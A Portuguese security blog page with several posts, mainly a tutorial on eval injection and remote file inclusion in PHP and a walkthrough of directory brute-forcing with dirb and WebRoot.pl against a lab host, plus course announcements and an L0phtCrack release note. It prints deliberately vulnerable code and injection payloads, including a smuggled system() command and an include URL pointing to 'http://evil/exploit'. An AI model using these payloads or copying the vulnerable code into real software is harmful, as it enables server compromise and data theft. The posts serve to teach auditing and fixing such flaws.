Know Xplico: An Opensource Network Forensics Framework

In this article we will explore Xplico, an OpenSource Framework extremely powerful for network forensics analysis. We will learn its main features, and how this tool can improve any network incident response, also turn the data analysis much easier.
http://eforensicsmag.com/network-toolbox/

Advertisements

Treinamentos em Segurança da Informação

Olá pessoal tudo bem?

Sei que treinamentos de segurança em um formato diferenciado e que realmente tragam conteúdo de alto nível tanto para iniciantes quanto profissionais da área são algo difícil de encontrar.

Pensando nisto estou com planos para um projeto em 2014 voltado exclusivamente para treinamentos técnicos de alto nível que possam abranger tanto os que pretendem ingressar na área de segurança quanto profissionais de nível Sênior que desejam consolidar seus conhecimentos em áreas que talvez não sejam sua principal.

Disto isto gostaria de ouvir a opinião dos senhores, irei iniciar as rodadas de cursos com 3 principais categorias e que gostaria de saber entre estas quais vocês gostariam de participar caso houvesse esta turma:

– Malware Analysis: Analisando a fundo funcionalidades de malwares

– Penetration Testing:  Curso voltando a demonstrar técnicas e conceitos envolvidos em testes de penetração em ambientes corporativos tendo cenários realísticos e utilizando ferramental que irá ajudar você a criar seu próprio framework de trabalho.

– Web Application Hacking: Curso voltado a mostrar as principais falhas de segurança existentes em aplicações web, como por exemplo SQL Injection, XSS, entre outros. Curso totalmente hands-on onde o aluno irá aprender como funcionam as vulnerabilidades explorando-as e entendendo como auditar e corrigir.

Caso tenham alguma outra ideia de curso, também gostaria de saber. Enviem uma mensagem para  y2h4ck[at] gmail [dot] com com o subject [CURSO] e diga oque acha interessante.  Sua colaboração será muito bem vinda e será recompensada :D

Grande abraço! Enviem sua mensagem!

 

Eval()

A função eval() é muito utilizada por facilitar a vida de desenvolvedores transformando strings em instruções javascript e executando-as em seguida (desde que a instrução esteja correta).

Vejamos abaixo um exemplo de código javascript:

 

document.getElementById("meubotaovoltar").onclick = function () {
if (historicode1 == "home") { //historicode1 é minha variável que recebe o valor do último item clicado
location.href="home.htm"; //faz a chamada da página
} else if (historicode1 == "contatos") {
location.href="contatos.htm"
}

 

E a seguir o mesmo código acima porém utilizando a função eval():

 

document.getElementById("meubotaovoltar").onclick = function () {
eval("location.href="+historicode1+".htm");
}

 

A função minimizou totalmente o código. Por tratar o conteúdo de forma dinamica a função Eval() pode ser abusada de varias formas e um dos ataques mais difundidos é o Eval Injection.

Este ataque consiste na injeção de scripts que não são validados de forma apropriada pelo input de dados de usuário como parâmetro no site. Um usuário remoto pode inserir uma URL especialmente criada para enviar dados arbitrários para a função eval(). Isso resultará na execução do código pelo sistema vulneravel.

O ataque irá executar o código com a mesma permissão que o web service está executando no servidor remoto, isso inclui comandos executados no sistema.

 

Exemplo 01 : Sistema vulnerável a Eval Injection.

Vejamos o código abaixo:

$myvar = “varname”;

$x = $_GET[‘arg’];

eval(“\$myvar = \$x;”);

 

 

Como pode ser visto acima a variavel $arg é repassada via parametro GET e  em seguida é processada dentro da chamada eval().  Poderiamos explorar facilmente isto setando o valor da variavel para “10; system(\”/bin/passwd\”);”. Neste caso o webserver iria executar o comando no sistema e exibiria todos os usuários do Linux;

 

Exemplo 2:  Injetando arquivos remotes para explorar a função vulnerável.

Vejamos o código a seguir:

 

<?php
   $color = 'blue';
   if ( isset( $_GET['COLOR'] ) )
      $color = $_GET['COLOR'];
   require( $color . '.php' );
?>
<form>
   <select name="COLOR">
      <option value="red">red</option>
      <option value="blue">blue</option>
   </select>
   <input type="submit">
</form>

 

Colocando red/blue o programador pensou que poderia garantir que somente blue.php e red.php poderiam ser carregados. Porem como qualquer um poderia simplesmente inserir dados arbitrários na variável COLOR, é possivel injetar códigos a partir de arquivos:

  • /vulnerable.php?COLOR=http://evil/exploit   : Isto injetaria um arquivo remoto malicioso
  • /vulnerable.php?COLOR=C:\ftp\upload\exploit : Isto poderia carregar um arquivo que foi feito upload para o server.

 

Como podem ver as vulnerabilidades relacionadas a dados inseridos como variáveis não validadas podem trazer diversos problemas, em especial a função eval() por ser utilizada em larga escala pode prejudicar consideravelmente a segurança de sua aplicação e servidores.

Web Application Brute-Force Attacks.

 

O ataque de Brute-force sempre foi muito comum em serviços disponibilizados remotamente tais quais, ftp, smtp, pop entre outros. Em geral este ataque por si só não apresenta um risco muito grave, porém pode ser utilizado como vetor para ataques mais complexos que podem explorar falhas na infra-estrutura que vão desde políticas mal configuradas de permissões, política de senha ineficiente ou inexistente entre outras.

Durante este tipo de ataque, o atacante tenta transpor mecanismos de segurança como por exemplo sistemas de autenticação, proteção de diretórios por senha e etc, tendo como base um mínimo conhecimento sobre o alvo.

Existem basicamente 2 métodos que podem ser empregados neste tipo de ataque o ataque de dicionário e o de força-bruta.

Dicionário: O atacante utiliza um catalogo pré-formatado onde no caso são utilizadas strings que contém possíveis resultados e que em geral utilizam senhas padrão comumente utilizadas, nomes de pastas utilizadas e etc. Em geral este tipo de ataque tende a ser direcionado.

Força-Bruta: O atacante utiliza classes de caracteres ex: alfanumerica, especiais, case sensitive e etc. Neste caso específico este tipo de método demanda muito tempo e seu percentual de aproveitamento é muito baixo assim como gera muito alarde durante o ataque fazendo com que possíveis mecanismos de segurança como IDSs, IPSs e etc sejam acionados.

 

Em sua grande maioria ataques de brute-force são utilizados para conseguir senhas de usuários para controle de acesso de aplicações e sistemas. Entretanto existem diversas ferramentas que utiliza esta técnica para examinar web services, procurar pastas contendo arquivos que possam conter senhas de banco de dados, assim como testar como a aplicação se comporta utilizando diferentes data forms (GET/POST) assim como identificar Session-IDs de usuários. Especialmente em aplicações web o ataque de brute-force pode ser utilizado para

– Conseguir cookies de acesso a sessões de usuários;

– Usuários e senhas de diretórios protegidos;

– SessionID de aplicações;

– Arquivos de include contendo dados sensíveis como senhas de banco de dados entre outras.

Veremos abaixo alguns exemplos de ferramentas que podem ajudar durante o teste de aplicações web e descobrir se estamos vulneraveis a este tipo de ataque.

 

 

Para testes em serviços web existem 2 ferramentas  interesssantes:

-dirb (http://sourceforge.net/projects/dirb)

-webroot (http://www.cirt.dk/tools/webroot/WebRoot.txt)

 

A ferramenta dirb consiste em uma ferramenta com opções mais avançadas e pode ser utilizada para:

– setar diferentes cookies

– adicionar qualquer tipo de HTTP header desejado

– utilizar proxys para mascarar a conexão

– Utilizar catalogos ou arquivos utilizando dicionários definidos ou templates fazendo uma varredura direcionada.

Podemos fazer um teste simples utilizando-a:

[root@localhost /]$  ./dirb http://laboratorio.test/

—————–

DIRB v1.9

By The Dark Raver

—————–

START_TIME: Mon Jul  9 23:13:16 2007

URL_BASE: http://laboratorio.test/

WORDLIST_FILES: wordlists/common.txt

SERVER_BANNER: apache/3.2.2

NOT_EXISTANT_CODE: 404 [NOT FOUND]

(Location: ” – Size: 345)

 

—————–

 

Generating Wordlist…

Generated Words: 839

 

—- Scanning URL: http://laboratorio.test/ —-

FOUND: http://laboratorio.test/phpmyadmin/

(***) DIRECTORY (*)

 

 

No output da ferramenta somos informados que a pasta phpmyadmin/  foi encontrada. Um atacante poderia agora efetuar um ataque direcionado para a aplicação PHPMyAdmin, como por exemplo tentar senhas de acesso default ou utilizar exploits para a versão em uso do PHPmyAdmin.

 

 

Um dos maiores problemas com ferramentas como o dirb é reconhecer se a mensagem de retorno do servidor  é a esperada ou não. Em casos onde o servidor  tem configurações avançadas (exemplo utilizando mod_rewrite) ferramentas automaticas não conseguem distinguir uma mensagem de resposta do servidor  sobre um determinado erro ao acessar uma pasta ou arquivo.

A aplicação WebRoot.pl escrita pelo CIRT.DK, tem mecanismos embutidos para trabalhar as respostas do servidor,  e baseado na frase especificada pelo atacante, consegue identificar se a resposta do servidor  é a esperada ou não.

./WebRoot.pl -noupdate -host laboratorio.test -port 80 -verbose -match “senha” -url “/private/<BRUTE>” -incremental lowercase -minimum 1 -maximum 1

 

oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00

o          Webserver Bruteforcing 1.8          o

0  ************* !!! WARNING !!! ************  0

0  ******* FOR PENETRATION USE ONLY *********  0

0  ******************************************  0

o       (c)2007 by Dennis Rand – CIRT.DK       o

oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00

[X] Checking for updates                – NO CHECK

[X] Checking for False Positive Scan    – OK

[X] Using Incremental                   – OK

[X] Starting Scan                       – OK

GET /private/b HTTP/1.1

GET /private/z HTTP/1.1

[X] Scan complete                       – OK

[X] Total attempts                      – 26

[X] Sucessfull attempts                 – 1

oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00oo00

WebRoot.pl encontrou um arquivo /private/b no laboratorio.test, que contem a frase “senha: 123mudar”

Ferramentas para Identificar e proteger contra brute-forc e em aplicações Web.

Php-Brute-Force-Attack Detector

http://yehg.net/lab/pr0js/files.php/php_brute_force_detect.zip

Esta ferramenta detecta se seu servidor esta sendo scanniado por ferramentas de brute-force como  WFuzz, Owasp DirBuster e scans e vulnerabilidades como Nessus, Nikto, Acunetix, etc. Ela pode ajudar você a rapidamente identificar possíveis hosts utilizados por atacantes que ficam efetuando testes em sua aplicações para identificar brechas e possíveis falhas de segurança

 

 

L0phtCrack 6 Released

big_image

Bom, finalmente saiu o release da nova versão do L0pthCrack. A muitos anos esta ferramenta ficou relegada ao esquecimento (pelo menos pelos desenvolvedores) e não ouveram mais atualizações.

Entrei em contato com o suporte por e-mail e me informaram muitas coisas interessantes, que realmente fazem esta nova versão ter um plus ao ja tão conhecido e utilizado LC5.

– Possibilidade de Coletar os Hashes de hosts remotos e analisa-los;

– Algoritimos que suportam Multi-Processamento. Segundo o e-mail que recebi do suporte, o l0pthcrack agora consegue trabalhar com quantos processadores ouverem disponiveis no host que efetuará as auditorias.

Para mim estes 2 features ja foram matadores o suficiente. O melhor porém em minha opnião é o fato de agora ele gerar estatísticas muito boas sobre as quebras de senhas e também o preço pelo qual as licenças estão sendo vendidas, algo que realmente ajuda a evitar a pirataria.

Professional:  $ 295

Administrator:  $ 595

Consultant: $ 11195

A diferença da licença Professional para a Administrator é que na versão Administrator é possível utilizar Pre-computed Hash Tables (Rainbow Tables) e gera-las.

Da administrator para a Consultant é a possibilidade de instalar o LC6 em até 6 hosts.

Existe tambem a possibilidade de se atualizar da versão 5 para a 6 por apenas 25% do valor da licença. Basta enviar os dados de sua licença por e-mail para que possa ser avaliada a possibilidade do upgrade. Obviamente a licença deve ser original :P

Existe uma versão de demonstração que pode ser baixada Aqui.

Ja providenciei a minha cópia do LC6 >:D

Good Hacking 4 All.

Curso: Web Application Hacking 29/11

Pessoal, estou fechando uma turma agora dia 29/11. Convido a todos que tenham interesse de participar. Me enviem um email para maiores informações ou então acesssem a parte “Academy”.

Preço especial para quem citar este link.

Aguardo a todos.

Good Hacking 4 All.

Curso: Web applications Hacking 15/11

Local: São Paulo – SP

Descrição: Hoje web applications estão tomando um lugar muito importante em grandes corporações, sendo assim é importante estar preparado para responder a incidentes de segurança antes que eles ocorram.

Este curso visa mostrar as principais vulnerabilidades existentes nas mais diferentes linguagens de programação como por exemplo ASP, PHP, JSP e Ajax. Abordaremos as principais técnicas de exploração e mostrar o risco que cada vulnerabilidade pode acarretar.

Entre os tópicos abordados teremos:

Injection Flaws (SQL, XML, Numeric, Blind e String Injections);

Cross-Site Scripting (XSS, XSFR, CSFR, etc..);

Ajax Hacking (JSON, DOM, XML inject, eval(), etc…);

Para maiores informações favor entrar em contato pelo e-mail: anderson@rootsecurity.com.br.

Turmas:

Turmas Status

15/11/2008

ABERTA